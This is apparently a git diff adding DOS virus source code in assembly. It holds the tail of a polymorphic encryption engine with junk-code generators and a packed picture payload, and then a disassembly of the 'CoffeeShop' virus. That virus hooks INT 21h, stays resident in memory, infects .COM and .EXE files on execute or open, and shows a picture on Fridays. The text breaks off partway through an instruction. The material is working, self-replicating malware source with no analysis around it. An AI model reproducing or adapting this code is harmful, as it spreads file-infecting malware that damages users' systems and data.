;carry? + jz no_ac2 + and al,0CF + or al,10 +no_ac2: call add_ind + stosb + mov al,1 ;value to add/sub +save_it: call add_1 + stosb + ret + +do_cmpsw: test bh,1 ;up or down? + jz no_std + mov al,0FDh ;insert STD + stosb +no_std: test bh,4 ;CMPSW or SCASW? + jz normal_cmpsw + test bl,4 ;no SCASW if SI is used + jnz do_scasw + +normal_cmpsw: mov al,0A6 ;CMPSB + jmp short save_it +do_scasw: mov al,0AE ;SCASB + jmp short save_it + + +;**************************************************************************** +;* generate loop command +;**************************************************************************** + +do_loop: test bh,1 ;no JNE if couting down + jnz loop_loop ; (prefetch bug!) + call rnd_get + test al,1 ;LOOPNZ/LOOP or JNE? + jnz cx_loop + +loop_loop: mov al,0E0 + test bh,1A ;LOOPNZ or LOOP? + jz ll0 ; no LOOPNZ if xor-offset + add al,2 ; no LOOPNZ if CMPSW/SCASW +ll0: stosb + mov ax,dx + sub ax,di + dec ax + stosb + ret + +cx_loop: test bh,10 ;SUB CX or DEC CX? + jnz cxl_dec + mov ax,0E983 + stosw + mov al,1 + stosb + jmp short do_jne + +cxl_dec: mov al,49 + stosb +do_jne: mov al,75 + jmp short ll0 + + +;**************************************************************************** +;* add value to AL depending on register type +;**************************************************************************** + +add_dir: mov si,offset dir_change + jmp short xx1 + +add_ind: mov si,offset ind_change +xx1: push bx + shr bl,1 + shr bl,1 + and bx,3 + add al,byte ptr ds:[bx+si] + pop bx + ret + + +;**************************************************************************** +;* mov encryption command byte to AL +;**************************************************************************** + +get_xor: push bx + mov ax,offset how_mode + xchg ax,bx + and ax,3 + xlat + pop bx + ret + + +;**************************************************************************** +;* change ADD into ADC +;**************************************************************************** + +do_carry: test bl,2 ;ADD/SUB used for encryption? + jz no_ac + test bh,20 ;carry with (encr.) ADD/SUB? + jz no_ac + and al,0CF + or al,10 +no_ac: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +add_1: test bl,10 + jz add_1_ret + inc al +add_1_ret: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +maybe_2: call add_1 + cmp al,81 ;can't touch this + je maybe_not + push ax + call rnd_get + test al,1 + pop ax + jz maybe_not + add al,2 +maybe_not: ret + + +;**************************************************************************** +;* get random nop (or not) +;**************************************************************************** + +do_nop: test byte ptr ds:[flags],2 + jz no_nop +yes_nop: call rnd_get + test al,3 + jz nop8 + test al,2 + jz nop16 + test al,1 + jz nop16x +no_nop: ret + + +;**************************************************************************** +;* Insert random instructions +;**************************************************************************** + +do_junk: test byte ptr ds:[flags],4 + jz no_junk + call rnd_get ;put a random number of + and ax,0F ; dummy instructions before + inc ax ; decryptor + xchg ax,cx +junk_loop: call junk + loop junk_loop +no_junk: ret + + +;**************************************************************************** +;* get rough random nop (may affect register values) +;**************************************************************************** + +junk: call rnd_get + and ax,1E + jmp short aa0 +nop16x: call rnd_get + and ax,06 +aa0: xchg ax,si + call rnd_get + jmp word ptr ds:[si+junkcals] + + +;**************************************************************************** +;* NOP and junk addresses +;**************************************************************************** + +junkcals dw offset nop16x0 + dw offset nop16x1 + dw offset nop16x2 + dw offset nop16x3 + dw offset nop8 + dw offset nop16 + dw offset junk6 + dw offset junk7 + dw offset junk8 + dw offset junk9 + dw offset junkA + dw offset junkB + dw offset junkC + dw offset junkD + dw offset junkE + dw offset junkF + + +;**************************************************************************** +;* NOP and junk routines +;**************************************************************************** + +nop16x0: and ax,000F ;J* 0000 (conditional) + or al,70 + stosw + ret + + +nop16x1: mov al,0EBh ;JMP xxxx / junk + and ah,07 + inc ah + stosw + xchg al,ah ;get lenght of bullshit + cbw + jmp fill_bullshit + + +nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg + stosb + ret + + +nop16x3: call junkF ;INC / DEC or DEC / INC + xor al,8 + stosb + ret + + +nop8: push bx ;8-bit NOP + and al,7 + mov bx,offset nop_data8 + xlat + stosb + pop bx + ret + + +nop16: push bx ;16-bit NOP + and ax,0303 + mov bx,offset nop_data16 + xlat + add al,ah + stosb + call rnd_get + and al,7 + mov bl,9 + mul bl + add al,0C0 + stosb + pop bx + ret + + +junk6: push cx ;CALL xxxx / junk / POP reg + mov al,0E8 + and ah,0F + inc ah + stosw + xor al,al + stosb + xchg al,ah + call fill_bullshit + call do_nop + call rnd_get ;insert POP reg + and al,7 + call no_sp + mov cx,ax + or al,58 + stosb + + test ch,3 ;more? + jnz junk6_ret + + call do_nop + mov ax,0F087 ;insert XCHG SI,reg + or ah,cl + test ch,8 + jz j6_1 + mov al,8Bh +j6_1: stosw + + call do_nop + push bx + call rnd_get + xchg ax,bx + and bx,0F7FBh ;insert XOR [SI],xxxx + or bl,8 + call do_xor + pop bx +junk6_ret: pop cx + ret + + +junk7: and al,0F ;MOV reg,xxxx + or al,0B0 + call no_sp + stosb + test al,8 + pushf + call rnd_get + popf + jmp short byte_word + + +junk8: and ah,39 ;DO r/m,r(8/16) + or al,0C0 + call no_sp + xchg al,ah + stosw + ret + + +junk9: and al,3Bh ;DO r(8/16),r/m + or al,2 + and ah,3F + call no_sp2 + call no_bp + stosw + ret + + +junkA: and ah,1 ;DO rm,xxxx + or ax,80C0 + call no_sp + xchg al,ah + stosw + test al,1 + pushf + call rnd_get + popf + jmp short byte_word + + +junkB: call nop8 ;NOP / LOOP + mov ax,0FDE2 + stosw + ret + + +junkC: and al,09 ;CMPS* or SCAS* + test ah,1 + jz mov_test + or al,0A6 + stosb + ret +mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx + stosb + cmp al,0A8 + pushf + call rnd_get + popf + jmp short byte_word + + +junkD: and al,07 ;XCHG AX,reg + or al,90 + call no_sp + stosb + ret + + +junkE: and ah,07 ;PUSH reg / POP reg + or ah,50 + mov al,ah + or ah,08 + stosw + ret + + +junkF: and al,0F ;INC / DEC + or al,40 + call no_sp + stosb + ret + + +;**************************************************************************** +;* store a byte or a word +;**************************************************************************** + +byte_word: jz only_byte + stosw + ret + +only_byte: stosb + ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + +no_sp: push ax + and al,7 + cmp al,4 + pop ax + jnz no_sp_ret + and al,0FBh +no_sp_ret: ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + +no_sp2: push ax + and ah,38 + cmp ah,20 + pop ax + jnz no_sp2_ret + xor ah,20 +no_sp2_ret: ret + + +;**************************************************************************** +;* don't use [BP+..] +;**************************************************************************** + +no_bp: test ah,4 + jnz no_bp2 + and ah,0FDh + ret + +no_bp2: push ax + and ah,7 + cmp ah,6 + pop ax + jnz no_bp_ret + or ah,1 +no_bp_ret: ret + + +;**************************************************************************** +;* write byte for JMP/CALL and fill with random bullshit +;**************************************************************************** + +fill_bullshit: push cx + xchg ax,cx +bull_lup: call rnd_get + stosb + loop bull_lup + pop cx + ret + + +;**************************************************************************** +;* random number generator (stolen from 'Bomber') +;**************************************************************************** + +rnd_init: push cx + call rnd_init0 ;init + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get ;call random routine a few + loop random_lup ; times to 'warm up' + pop cx + ret + +rnd_init0: push dx ;initialize generator + push cx + mov ah,2C + int 21 + in al,40 + mov ah,al + in al,40 + xor ax,cx + xor dx,ax + jmp short move_rnd + +rnd_get: push dx ;calculate a random number + push cx + push bx + mov ax,0 ;will be: mov ax,xxxx + mov dx,0 ; and mov dx,xxxx + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: mov word ptr ds:[rnd_get+4],ax + mov word ptr ds:[rnd_get+7],dx + mov al,dl + pop cx + pop dx + ret + + +;**************************************************************************** +;* tables for engine +;**************************************************************************** + + ; AX AL AH (BX) BL BH CX CL CH +mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5 + + ; nop clc stc cmc cli cld incbp decbp +nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh + + ; or and xchg mov +nop_data16 db 8, 20, 84, 88 + + ; bl/bh, bx, si di +dir_change db 07, 07, 04, 05 +ind_change db 03, 03, 06, 07 + + + ; xor xor add sub +how_mode db 30, 30, 00, 28 + + ; ? add xor or +add_mode db 0, 0C8, 0F0, 0C0 + + +;**************************************************************************** +;* text + buffer +;**************************************************************************** + + db ' Amsterdam = COFFEESHOP! ' + +buffer db 0CDh, 20 ;original code of dummy program + db (BUFLEN-2) dup (?) + + +;**************************************************************************** +;* the (packed) picture routine +;**************************************************************************** + +beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h + db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh + db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh + db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h + db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h + db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h + db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch + db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h + db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh + db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh + db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h + db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch + db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h + db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh + db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh + db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh + db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh + db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h + db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h + db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h + db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h + db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh + db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h + db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h + db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h + db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h + db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h + db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h + db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h + db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh + db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch + db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh + db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h + db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh + db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh + db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh + db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h + db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h + db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh + db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h + db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh + db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh + db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h + db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h + db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h + db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h + db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h + db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h + db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh + db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h + db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh + db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh + db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h + db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh + db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h + db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh + db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h + db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h + db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh + db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h + db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h + db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h + db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh + db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h + db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh + db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h + db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h + db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h + db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h + db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh + db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh + db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh + db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h + db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h + db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h + db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h + db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h + db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h + db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh + db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh + db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h + db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h + db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah + db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h + db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh + db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h + db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh + db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah + db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h + db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0E9h, 07Dh, 0EBh + +last: + +_TEXT ends + end first + + diff --git a/c/Coffshp1.asm b/c/Coffshp1.asm new file mode 100755 index 0000000..b0984d5 --- /dev/null +++ b/c/Coffshp1.asm @@ -0,0 +1,825 @@ + +PAGE 59,132 + +; +; +; COFFSHP1 +; +; Created: 23-Jun-92 +; Passes: 5 Analysis Options on: AW +; +; + +data_1e equ 0F8h +data_2e equ 0FAh +data_3e equ 43Bh +data_4e equ 0F4h +data_5e equ 0F8h +data_6e equ 0FCh +data_15e equ 15A1h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +coffshp1 proc far + +start: + jmp loc_2 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+di],ah + inc ax + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + int 20h ; DOS program terminate + db 27 dup (0) +loc_2: + call sub_2 + +coffshp1 endp + +; +; SUBROUTINE +; + +sub_2 proc near + pop si + mov di,100h + sub si,20h + push ax + push ds + push es + push di + push si + cld ; Clear direction + mov ah,30h ; '0' + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + xchg ah,al + cmp ax,30Ah + jb loc_3 ; Jump if below + mov ax,33DAh + int 21h ; ??INT Non-standard interrupt + cmp ah,0A5h + je loc_3 ; Jump if equal + mov ax,es + dec ax + mov ds,ax + xor bx,bx ; Zero register + cmp byte ptr [bx],5Ah ; 'Z' + jne loc_3 ; Jump if not equal + mov ax,[bx+3] + sub ax,72h + jc loc_3 ; Jump if carry Set + mov [bx+3],ax + sub word ptr [bx+12h],72h + mov es,[bx+12h] + push cs + pop ds + mov cx,620h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_1e,bx + mov ds:data_2e,es +;* mov dx,offset loc_1 + db 0BAh, 01h, 02h + mov ax,2521h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp al,5 + jne loc_3 ; Jump if not equal + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + or dh,dh ; Zero ? + jnz loc_3 ; Jump if not zero + pop ax + push ax + call sub_3 +loc_3: + pop si + pop di + pop es + pop ds + pop ax + cmp byte ptr cs:[si+1Ch],0 + je loc_4 ; Jump if equal + mov bx,ds + add bx,10h + mov cx,bx + add bx,cs:[si+0Eh] + cli ; Disable interrupts + mov ss,bx + mov sp,cs:[si+10h] + sti ; Enable interrupts + add cx,cs:[si+16h] + push cx + push word ptr cs:[si+14h] + retf ; Return far +loc_4: + push di + mov cx,1Ch + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + mov bx,ax + add bx,152h + push cs + push bx + add ax,62Fh + and ax,0FFF0h + mov di,ax + mov si,data_3e + mov cx,2E5h + push cs + pop es + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov dx,cs + add ax,dx + sub ax,10h + mov ds,ax + mov es,ax + push ax + mov ax,100h + push ax + retf ; Return far +sub_3 endp + + and [bp+di+6Fh],al + db 'ffeeShop ' + db 0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh + db 33h, 75h, 05h,0B8h, 01h,0A5h + db 9Dh,0CFh + db 06h, 1Eh, 56h, 57h, 52h, 51h + db 53h, 50h, 3Dh, 00h, 4Bh, 74h + db 0Ch, 3Dh, 00h + db 6Ch, 75h, 0Ah + db 0F6h,0C3h, 03h, 75h, 05h, 8Bh + db 0D7h +loc_7: + call sub_4 +loc_8: + pop ax + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf ; Pop flags + jmp dword ptr cs:data_5e + +; +; SUBROUTINE +; + +sub_4 proc near + cld ; Clear direction + push cs + pop es + mov si,dx + xor di,di ; Zero register + mov cx,80h + +locloop_9: + lodsb ; String [si] to al + cmp al,0 + je loc_12 ; Jump if equal + cmp al,61h ; 'a' + jb loc_10 ; Jump if below + cmp al,7Ah ; 'z' + ja loc_10 ; Jump if above + xor al,20h ; ' ' +loc_10: + stosb ; Store al to es:[di] + loop locloop_9 ; Loop if cx > 0 + + +loc_ret_11: + retn +loc_12: + stosb ; Store al to es:[di] + lea si,[di-5] ; Load effective addr + push cs + pop ds + lodsw ; String [si] to ax + cmp ax,452Eh + jne loc_13 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,4558h + jmp short loc_14 +loc_13: + cmp ax,432Eh + jne loc_ret_11 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,4D4Fh +loc_14: + jne loc_ret_11 ; Jump if not equal + std ; Set direction flag + mov cx,si + inc cx + +locloop_15: + lodsb ; String [si] to al + cmp al,3Ah ; ':' + je loc_16 ; Jump if equal + cmp al,5Ch ; '\' + je loc_16 ; Jump if equal + loop locloop_15 ; Loop if cx > 0 + + dec si +loc_16: + cld ; Clear direction + lodsw ; String [si] to ax + lodsw ; String [si] to ax + mov di,3BEh + mov cl,0Ch + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jz loc_ret_11 ; Jump if zero + mov ax,3300h + int 21h ; DOS Services ah=function 33h + ; get ctrl-break flag in dl + push dx + cwd ; Word to double word + inc ax + push ax + int 21h ; DOS Services ah=function 33h + ; set ctrl-break flag dl=off/on + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + push bx + push cs + pop ds + mov dx,offset int_24h_entry + mov ah,25h ; '%' + push ax + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,4300h + cwd ; Word to double word + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + push cx + xor cx,cx ; Zero register + mov ax,4301h + push ax + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_17 ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_18 ; Jump if carry=0 +loc_17: + jmp loc_24 +loc_18: + xchg ax,bx + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push dx + push cx + mov cx,1Ch + mov si,100h + mov dx,si + call sub_7 + jc loc_19 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + cwd ; Word to double word + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov di,data_4e + mov [di],ax + mov [di+2],dx + cmp word ptr [si+12h],4021h + je loc_19 ; Jump if equal + cmp word ptr [si],5A4Dh + je loc_20 ; Jump if equal + mov byte ptr [si+1Ch],0 + test byte ptr [si],80h + jz loc_19 ; Jump if zero + cmp word ptr [di],0D000h + jae loc_19 ; Jump if above or = + cmp word ptr [di],7D0h + jb loc_19 ; Jump if below + call sub_10 + jnz loc_19 ; Jump if not zero + mov byte ptr [si],0E9h + mov ax,[di] + add ax,1Ah + mov [si+1],ax + jmp short loc_22 +loc_19: + jmp loc_23 +loc_20: + mov byte ptr [si+1Ch],1 + cmp word ptr [si+18h],40h + jb loc_21 ; Jump if below + mov ax,3Ch + cwd ; Word to double word + call sub_6 + jc loc_23 ; Jump if carry Set + mov ax,[si-4] + mov dx,[si-2] + call sub_6 + jc loc_23 ; Jump if carry Set + cmp byte ptr [si-3],45h ; 'E' + je loc_23 ; Jump if equal +loc_21: + call sub_9 + cmp [si+4],ax + jne loc_23 ; Jump if not equal + cmp [si+2],dx + jne loc_23 ; Jump if not equal + cmp word ptr [si+0Ch],0 + je loc_23 ; Jump if equal + cmp word ptr [si+1Ah],0 + jne loc_23 ; Jump if not equal + call sub_10 + jnz loc_23 ; Jump if not zero + call sub_8 + mov [si+4],ax + mov [si+2],dx + call sub_11 + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + sub ax,[si+8] + dec ax + add dx,2Dh + mov [si+16h],ax + mov [si+0Eh],ax + mov [si+14h],dx + mov word ptr [si+10h],17E0h + lea di,[si+0Ah] ; Load effective addr + call sub_5 + lea di,[si+0Ch] ; Load effective addr + call sub_5 +loc_22: + call sub_12 + mov word ptr [si+12h],4021h + mov cx,1Ch + mov dx,si + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_23: + pop cx + pop dx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_24: + pop ax + pop cx + cwd ; Word to double word + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + pop ax + pop dx + pop ds + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ax + pop dx + int 21h ; DOS Services ah=function 33h + ; set ctrl-break flag dl=off/on + retn +sub_4 endp + + inc bx + dec di + push bx + inc bx + inc bx + dec sp + push si + push bx + dec si + inc bp + dec ax + push sp + push sp + inc dx + push si + dec cx + push dx + inc cx + inc si + inc bp + dec bp + push sp + inc dx + push dx + +; +; SUBROUTINE +; + +sub_5 proc near + mov ax,[di] + sub ax,62h + jc loc_25 ; Jump if carry Set + cmp ax,14Bh + jae loc_26 ; Jump if above or = +loc_25: + mov ax,14Bh +loc_26: + mov [di],ax + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + call sub_13 + mov dx,data_6e + mov cx,4 + +; External Entry into Subroutine + +sub_7: + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + call sub_11 + add ax,620h + adc dx,0 + jmp short loc_27 + +; External Entry into Subroutine + +sub_9: + call sub_11 +loc_27: + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_ret_28 ; Jump if zero + inc ax + +loc_ret_28: + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + call sub_11 + call sub_13 + mov cx,620h + mov dx,si + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + cmp ax,cx + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + mov ax,[di] + mov dx,[di+2] + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + xor ax,ax ; Zero register + cwd ; Word to double word + +; External Entry into Subroutine + +sub_13: + xchg cx,dx + xchg ax,dx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn +sub_12 endp + + and [di+4Bh],cl + and [bx],ah + cmp [bp+si],si + and ds:data_15e[bx],bh + cmp di,sp + jb loc_29 ; Jump if below + mov ah,4Ch ; 'L' + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_29: + mov si,403h + mov cx,170h + std ; Set direction flag + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + cld ; Clear direction + mov si,di + mov di,100h + lodsw ; String [si] to ax + lodsw ; String [si] to ax + mov bp,ax + mov dl,10h + jmp $+1439h + adc ax,7FDFh + cld ; Clear direction + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov ah,0 + push ax + sti ; Enable interrupts + mov bh,0B0h + cmp al,7 +;* je loc_31 ; Jump if equal + db 74h,0FFh + dec word ptr [bp+si] + cmp al,4 + jae $+2Ah ; Jump if above or = + mov bh,0B8h + cmp al,2 + jb $+24h ; Jump if below + mov es,bx + mov si,140h + db 0FFh,0FFh,0B0h, 19h, 57h,0B1h + db 50h,0F3h,0A5h, 5Fh, 81h,0C7h + db 0A0h, 00h,0FEh,0C8h, 75h,0F2h + db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h + db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h + db 63h,0A7h,0CBh, 20h, 02h,0FEh + db 20h, 00h,0FAh,0EBh,0B0h,0FCh + db 0F8h, 03h, 77h,0F0h,0E0h,0D0h + db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh + db 80h, 6Fh,0BAh,0DCh,0E1h, 34h + db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh + db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h + db 0E4h, 03h, 84h,0E0h,0FCh,0EBh + db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh + db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h + db 01h, 3Ah,0F0h, 50h, 07h,0A2h + db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh + db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh + db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h + db 0F4h,0E0h, 40h, 17h,0FAh +loc_33: + in al,dx ; port 10h ??I/O Non-standard + sbb ax,0DF72h + esc 2,dl ; coprocessor escape + jz loc_33 ; Jump if zero + mov dx,20DDh + sbb ax,0DE74h + 